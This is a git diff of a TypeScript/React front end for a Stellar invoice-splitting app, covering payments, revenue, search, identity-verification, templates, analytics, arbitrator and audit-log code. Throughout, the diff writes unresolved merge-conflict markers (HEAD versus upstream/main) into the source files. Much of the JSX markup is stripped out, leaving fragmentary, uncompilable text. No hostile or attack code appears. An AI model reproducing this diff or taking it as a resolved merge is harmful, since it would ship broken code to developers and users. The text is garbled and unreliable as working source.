Error ID: {sentryEventId} diff --git a/src/app/payments/page.tsx b/src/app/payments/page.tsx index c28ff3d0..7264c885 100644 --- a/src/app/payments/page.tsx +++ b/src/app/payments/page.tsx @@ -8,10 +8,15 @@ import { getFreighterPublicKey } from "@/lib/freighter"; import { formatAmount, truncateAddress } from "@stellar-split/sdk"; import type { Invoice, Payment } from "@stellar-split/sdk"; import { SkeletonPaymentRow } from "@/components/Skeleton"; +<<<<<<< HEAD + +const STELLAR_EXPERT_BASE = "https://stellar.expert/explorer/testnet/tx"; +======= import PaymentScheduler from "@/components/PaymentScheduler"; import { getActiveNetwork } from "@/lib/networks"; const STELLAR_EXPERT_BASE = getActiveNetwork().explorerTxBase; +>>>>>>> upstream/main const ITEMS_PER_PAGE = 20; const MAX_INVOICES = 100; @@ -360,6 +365,8 @@ export default function PaymentsPage() { )} )} +<<<<<<< HEAD +======= {/* Pay Over Time — schedule future payments */} {publicKey && ( @@ -371,6 +378,7 @@ export default function PaymentsPage() { />

)} +>>>>>>> upstream/main ); } diff --git a/src/app/revenue/page.tsx b/src/app/revenue/page.tsx index 03f823d6..1eb6ae0e 100644 --- a/src/app/revenue/page.tsx +++ b/src/app/revenue/page.tsx @@ -1,6 +1,21 @@ "use client"; import { useEffect, useMemo, useState } from "react"; +<<<<<<< HEAD +import { splitClient } from "@/lib/stellar"; +import { getFreighterPublicKey } from "@/lib/freighter"; +import { formatAmount } from "@stellar-split/sdk"; +import { + BarChart, + Bar, + XAxis, + YAxis, + CartesianGrid, + Tooltip, + ResponsiveContainer, +} from "recharts"; +import type { Invoice } from "@stellar-split/sdk"; +======= import dynamic from "next/dynamic"; import { splitClient } from "@/lib/stellar"; import { getFreighterPublicKey } from "@/lib/freighter"; @@ -14,6 +29,7 @@ const DynamicRevenueMonthlyChart = dynamic(() => import("@/components/RevenueMon ssr: false, loading: () =>
, }); +>>>>>>> upstream/main /** Convert a bigint USDC amount (7 decimals) to a JS number for charting. */ function toUsdc(amount: bigint): number { @@ -174,6 +190,25 @@ export default function RevenuePage() {

Monthly Revenue (Last 6 Months)

+<<<<<<< HEAD + + + + + + [`${value} USDC`, "Revenue"]} + /> + + + +
+
+ +=======
@@ -182,6 +217,7 @@ export default function RevenuePage() { history={monthlyData.map((d) => ({ label: d.month, value: d.usdc }))} /> +>>>>>>> upstream/main {/* Invoice breakdown table */}

Invoice Breakdown

diff --git a/src/app/search/page.tsx b/src/app/search/page.tsx index 9feea130..f8a5d486 100644 --- a/src/app/search/page.tsx +++ b/src/app/search/page.tsx @@ -32,6 +32,8 @@ import { isLastColumn, type SearchColumn, } from '@/lib/searchColumns'; +<<<<<<< HEAD +======= import { searchInvoices, getStoredSearches, @@ -43,6 +45,7 @@ import { removeSavedSearch, type SavedSearch, } from '@/lib/invoiceSearch'; +>>>>>>> upstream/main // ── Constants ────────────────────────────────────────────────────────────────── @@ -80,6 +83,8 @@ function hasActiveFilters(c: FilterCriteria): boolean { }); } +<<<<<<< HEAD +======= /** Counts how many individual filter dimensions are currently active (for a filter-count badge). */ function countActiveFilters(c: FilterCriteria): number { return Object.keys(c).reduce((count, k) => { @@ -89,6 +94,7 @@ function countActiveFilters(c: FilterCriteria): number { }, 0); } +>>>>>>> upstream/main // ── Status badge styles ─────────────────────────────────────────────────────── const STATUS_STYLES: Record = { @@ -97,6 +103,9 @@ const STATUS_STYLES: Record = { Refunded: 'bg-gray-500/20 text-gray-300', }; +<<<<<<< HEAD +// ── ColumnPicker ────────────────────────────────────────────────────────────── +======= // ── Highlight ─────────────────────────────────────────────────────────────── function escapeRegExp(s: string): string { @@ -344,6 +353,7 @@ function SearchHistoryPanel({
); } +>>>>>>> upstream/main function ColumnPicker({ visibleColumns, @@ -419,11 +429,17 @@ function ColumnPicker({ function InvoiceRow({ invoice, visibleColumns, +<<<<<<< HEAD +}: { + invoice: Invoice; + visibleColumns: SearchColumn[]; +======= highlightQuery, }: { invoice: Invoice; visibleColumns: SearchColumn[]; highlightQuery?: string; +>>>>>>> upstream/main }) { const total = invoice.recipients.reduce((s, r) => s + r.amount, 0n); const fundedPct = total > 0n ? Number((invoice.funded * 100n) / total) : 0; @@ -432,7 +448,11 @@ function InvoiceRow({
+<<<<<<< HEAD + Invoice #{invoice.id} +======= Invoice #{highlightQuery ? highlightMatch(String(invoice.id), highlightQuery) : invoice.id} +>>>>>>> upstream/main {visibleColumns.includes('amount') && ( @@ -445,7 +465,11 @@ function InvoiceRow({ +<<<<<<< HEAD + {invoice.status} +======= {highlightQuery ? highlightMatch(invoice.status, highlightQuery) : invoice.status} +>>>>>>> upstream/main )} @@ -457,9 +481,13 @@ function InvoiceRow({ {visibleColumns.includes('creator') && ( +<<<<<<< HEAD + {truncateAddress(invoice.creator)} +======= {highlightQuery ? highlightMatch(truncateAddress(invoice.creator), highlightQuery) : truncateAddress(invoice.creator)} +>>>>>>> upstream/main )} @@ -484,10 +512,16 @@ function InvoiceRow({ interface VirtualListProps { items: Invoice[]; visibleColumns: SearchColumn[]; +<<<<<<< HEAD +} + +function VirtualList({ items, visibleColumns }: VirtualListProps) { +======= highlightQuery?: string; } function VirtualList({ items, visibleColumns, highlightQuery }: VirtualListProps) { +>>>>>>> upstream/main const [scrollTop, setScrollTop] = useState(0); const startIdx = Math.floor(scrollTop / ITEM_HEIGHT_PX); @@ -512,7 +546,11 @@ function VirtualList({ items, visibleColumns, highlightQuery }: VirtualListProps className="mb-4" > +<<<<<<< HEAD + +======= +>>>>>>> upstream/main
))} @@ -597,6 +635,8 @@ function SearchPageInner() { const [draftCreator, setDraftCreator] = useState(criteria.creator ?? ''); const [draftRecipient, setDraftRecipient] = useState(criteria.recipient ?? ''); +<<<<<<< HEAD +======= // Full-text search state const [fullTextQuery, setFullTextQuery] = useState(''); const [showHistory, setShowHistory] = useState(false); @@ -604,6 +644,7 @@ function SearchPageInner() { const [savedSearches, setSavedSearches] = useState([]); const fullTextInputRef = useRef(null); +>>>>>>> upstream/main // Share status feedback const [shareStatus, setShareStatus] = useState(null); @@ -634,6 +675,8 @@ function SearchPageInner() { const [fetchError, setFetchError] = useState(null); const [knownTokens, setKnownTokens] = useState(DEFAULT_TOKENS); +<<<<<<< HEAD +======= // ── Load search history from localStorage ──────────────────────────────── useEffect(() => { @@ -677,6 +720,7 @@ function SearchPageInner() { setSavedSearches(getSavedSearches()); }, [fullTextQuery]); +>>>>>>> upstream/main // ── Sync URL back to state on changes ────────────────────────────────────── const searchParamsString = searchParams.toString(); @@ -738,7 +782,10 @@ function SearchPageInner() { setDraftFundedMax(''); setDraftCreator(''); setDraftRecipient(''); +<<<<<<< HEAD +======= setFullTextQuery(''); +>>>>>>> upstream/main router.replace('/search', { scroll: false }); }, [router]); @@ -840,6 +887,12 @@ function SearchPageInner() { const results = useMemo(() => { const compiled = compileFilter(criteria); +<<<<<<< HEAD + return FilterIndex.queryIndex(allInvoices, compiled); + }, [allInvoices, criteria]); + + const filtersActive = hasActiveFilters(criteria); +======= const filtered = FilterIndex.queryIndex(allInvoices, compiled); // Apply full-text search on top of structured filters if (fullTextQuery.trim()) { @@ -849,6 +902,7 @@ function SearchPageInner() { }, [allInvoices, criteria, fullTextQuery]); const filtersActive = hasActiveFilters(criteria) || !!fullTextQuery.trim(); +>>>>>>> upstream/main // ── Input handlers ───────────────────────────────────────────────────────── @@ -897,6 +951,8 @@ function SearchPageInner() { {shareStatus || 'Share search'} +<<<<<<< HEAD +======= {countActiveFilters(criteria) > 0 && ( )} +>>>>>>> upstream/main {filtersActive && (
+<<<<<<< HEAD +=======
@@ -235,6 +249,7 @@ export default function SecuritySettingsPage() {
+>>>>>>> upstream/main
diff --git a/src/app/settings/verify/page.tsx b/src/app/settings/verify/page.tsx index 7ab25a22..f5b33073 100644 --- a/src/app/settings/verify/page.tsx +++ b/src/app/settings/verify/page.tsx @@ -15,12 +15,17 @@ import { isValidUrl, type VerificationRequest, } from '@/lib/verificationRequests'; +<<<<<<< HEAD +======= import { useAddressValidation } from '@/hooks/useAddressValidation'; import { WalletAddress } from '@/components/WalletAddress'; +>>>>>>> upstream/main export default function VerifyIdentityPage() { const [mounted, setMounted] = useState(false); const [address, setAddress] = useState(null); +<<<<<<< HEAD +======= const [walletInput, setWalletInput] = useState(''); const { input: validatedInput, @@ -31,6 +36,7 @@ export default function VerifyIdentityPage() { validate: validateAddress, reset: resetValidation, } = useAddressValidation(); +>>>>>>> upstream/main const [attestation, setAttestation] = useState(null); const [loading, setLoading] = useState(false); const [error, setError] = useState(null); @@ -83,7 +89,13 @@ export default function VerifyIdentityPage() { const signedMessage = await signMessage(challenge, { address, networkPassphrase: +<<<<<<< HEAD + process.env.NEXT_PUBLIC_STELLAR_NETWORK === 'mainnet' + ? 'Public Global Stellar Network ; September 2015' + : 'Test SDF Network ; September 2015', +======= getActiveNetwork().passphrase, +>>>>>>> upstream/main }); // Store attestation @@ -198,7 +210,11 @@ export default function VerifyIdentityPage() {
Connected Address: +<<<<<<< HEAD + {address} +======= +>>>>>>> upstream/main
) : ( @@ -208,6 +224,8 @@ export default function VerifyIdentityPage() { )}
+<<<<<<< HEAD +======= {/* Wallet Address Verification */}

Verify a Wallet Address

@@ -307,6 +325,7 @@ export default function VerifyIdentityPage() { )}
+>>>>>>> upstream/main {/* Verification Status */}

Verification Status

diff --git a/src/app/templates/page.tsx b/src/app/templates/page.tsx index e6ce10c1..5c770950 100644 --- a/src/app/templates/page.tsx +++ b/src/app/templates/page.tsx @@ -5,7 +5,10 @@ import { useRouter } from "next/navigation"; import Link from "next/link"; import { encodeTemplate } from "@/lib/templateSharing"; import { type UserTemplate, loadTemplates, saveTemplates } from "@/components/TemplateManager"; +<<<<<<< HEAD +======= import TemplateMarketplace from "@/components/TemplateMarketplace"; +>>>>>>> upstream/main const MAX_TEMPLATES = 20; @@ -336,6 +339,8 @@ export default function TemplatesPage() { ← Back to Dashboard
+<<<<<<< HEAD +======= { @@ -349,6 +354,7 @@ export default function TemplatesPage() { }} importedIds={new Set(templates.map((t) => t.name))} /> +>>>>>>> upstream/main
); diff --git a/src/components/AchievementCard.tsx b/src/components/AchievementCard.tsx index a676ced6..9ebc202f 100644 --- a/src/components/AchievementCard.tsx +++ b/src/components/AchievementCard.tsx @@ -2,7 +2,10 @@ import { useRef, useState, useEffect } from "react"; import confetti from "canvas-confetti"; +<<<<<<< HEAD +======= import { getActiveNetwork } from "@/lib/networks"; +>>>>>>> upstream/main export interface NFTDetails { tokenId?: string; @@ -20,7 +23,13 @@ interface Props { } const STELLAR_EXPERT_BASE = +<<<<<<< HEAD + process.env.NEXT_PUBLIC_STELLAR_NETWORK === "mainnet" + ? "https://stellar.expert/explorer/public/tx" + : "https://stellar.expert/explorer/testnet/tx"; +======= getActiveNetwork().explorerTxBase; +>>>>>>> upstream/main export default function AchievementCard({ invoiceId, @@ -90,7 +99,11 @@ export default function AchievementCard({ } try { +<<<<<<< HEAD + await navigator.clipboard.writeText(`${shareText} ${shareUrl}`); +======= await (navigator as any).clipboard.writeText(`${shareText} ${shareUrl}`); +>>>>>>> upstream/main setCopied(true); setTimeout(() => setCopied(false), 2000); } catch (err) { diff --git a/src/components/AnalyticsPanel.tsx b/src/components/AnalyticsPanel.tsx index 5660ef7a..6d4a4be5 100644 --- a/src/components/AnalyticsPanel.tsx +++ b/src/components/AnalyticsPanel.tsx @@ -6,6 +6,11 @@ import { useI18n } from "@/components/I18nProvider"; import type { Invoice } from "@stellar-split/sdk"; import { BarChart, Bar, XAxis, YAxis, CartesianGrid, Tooltip, Legend, ResponsiveContainer } from "recharts"; import { Skeleton } from "@/components/Skeleton"; +<<<<<<< HEAD + +interface Props { + invoices: Invoice[]; +======= import { aggregateSubscriptionAnalytics, type Subscription, @@ -14,6 +19,7 @@ import { interface Props { invoices: Invoice[]; subscriptions?: Subscription[]; +>>>>>>> upstream/main } type RangePreset = "7d" | "30d" | "3m" | "custom"; @@ -31,7 +37,11 @@ const RANGE_OPTIONS: RangeOption[] = [ { key: "custom", label: "Custom", days: null }, ]; +<<<<<<< HEAD +export default function AnalyticsPanel({ invoices }: Props) { +======= export default function AnalyticsPanel({ invoices, subscriptions = [] }: Props) { +>>>>>>> upstream/main const { t } = useI18n(); const [isOpen, setIsOpen] = useState(false); const [range, setRange] = useState("30d"); @@ -101,6 +111,8 @@ export default function AnalyticsPanel({ invoices, subscriptions = [] }: Props) .sort(([a], [b]) => a.localeCompare(b)) .map(([week, count]) => ({ week, invoices: count })); +<<<<<<< HEAD +======= // Subscription analytics (scoped to the same date window as invoices). const subscriptionAnalytics = useMemo( () => aggregateSubscriptionAnalytics(subscriptions, from, to), @@ -115,6 +127,7 @@ export default function AnalyticsPanel({ invoices, subscriptions = [] }: Props) [subscriptionAnalytics.cancellationReasons] ); +>>>>>>> upstream/main return (
+<<<<<<< HEAD +======= {/* Subscription Analytics */}

{t("dashboard.subscriptions")}

@@ -293,6 +308,7 @@ export default function AnalyticsPanel({ invoices, subscriptions = [] }: Props) )}
+>>>>>>> upstream/main {/* Weekly Chart */} {chartData.length > 0 && (
diff --git a/src/components/ArbitratorPicker.tsx b/src/components/ArbitratorPicker.tsx index f77a1976..5a72843d 100644 --- a/src/components/ArbitratorPicker.tsx +++ b/src/components/ArbitratorPicker.tsx @@ -23,6 +23,8 @@ interface Props { showVoteStatus?: boolean; /** List of arbitrators who have voted (used when showVoteStatus is true) */ votedArbitrators?: string[]; +<<<<<<< HEAD +======= /** * Enable assignment mode: a multi-select list used by the dispute wizard * and panel to choose the arbitrators for a dispute. @@ -34,6 +36,7 @@ interface Props { onAssign?: (addresses: string[]) => void; /** Maximum number of arbitrators that may be assigned (assignment mode only) */ maxAssignments?: number; +>>>>>>> upstream/main } /** @@ -49,6 +52,21 @@ export default function ArbitratorPicker({ heading = "Assigned Arbitrators", showVoteStatus = false, votedArbitrators = [], +<<<<<<< HEAD +}: Props) { + return ( +
+

{heading}

+
+ {arbitrators.length === 0 ? ( +

+ No arbitrators assigned +

+ ) : ( + arbitrators.map((arb) => { + const isSelected = arb.address === selectedAddress; + const hasVoted = votedArbitrators.includes(arb.address); +======= assignmentMode = false, assignedAddresses = [], onAssign, @@ -91,11 +109,16 @@ export default function ArbitratorPicker({ const hasVoted = votedArbitrators.includes(arb.address); const isDisabled = disabled || (assignmentMode && !isSelected && atLimit); +>>>>>>> upstream/main return (
+<<<<<<< HEAD + {showVoteStatus && ( + + {hasVoted ? "✓ Voted" : "Pending"} + +======= {assignmentMode ? ( ) +>>>>>>> upstream/main )}
diff --git a/src/components/AuditLogTable.tsx b/src/components/AuditLogTable.tsx index d463b744..de7f8c59 100644 --- a/src/components/AuditLogTable.tsx +++ b/src/components/AuditLogTable.tsx @@ -14,10 +14,13 @@ interface AuditLogEntry { action: string; actor: string; timestamp: number; +<<<<<<< HEAD +======= version?: number; diffSummary?: string; amendmentReason?: string; amendmentComment?: string; +>>>>>>> upstream/main } interface Props { @@ -44,6 +47,9 @@ export default function AuditLogTable({ invoiceId, invoice }: Props) { const handleExportJSON = () => { if (!invoice) return; const nonPendingPayments = invoice.payments.filter((p) => !p.pending); +<<<<<<< HEAD + const archive = buildInvoiceArchive(invoice, entries, nonPendingPayments); +======= const versionHistory = entries .filter((entry) => entry.version !== undefined) .map((entry) => ({ @@ -59,6 +65,7 @@ export default function AuditLogTable({ invoiceId, invoice }: Props) { ...buildInvoiceArchive(invoice, entries, nonPendingPayments), versionHistory, }; +>>>>>>> upstream/main const filename = generateArchiveFilename(invoiceId); downloadInvoiceArchive(archive, filename); }; @@ -139,8 +146,11 @@ export default function AuditLogTable({ invoiceId, invoice }: Props) {
ActionVersion ChangesActor Timestamp
{entry.action} {entry.version !== undefined ? `v${entry.version}` : "—"} {truncateAddress(entry.actor)}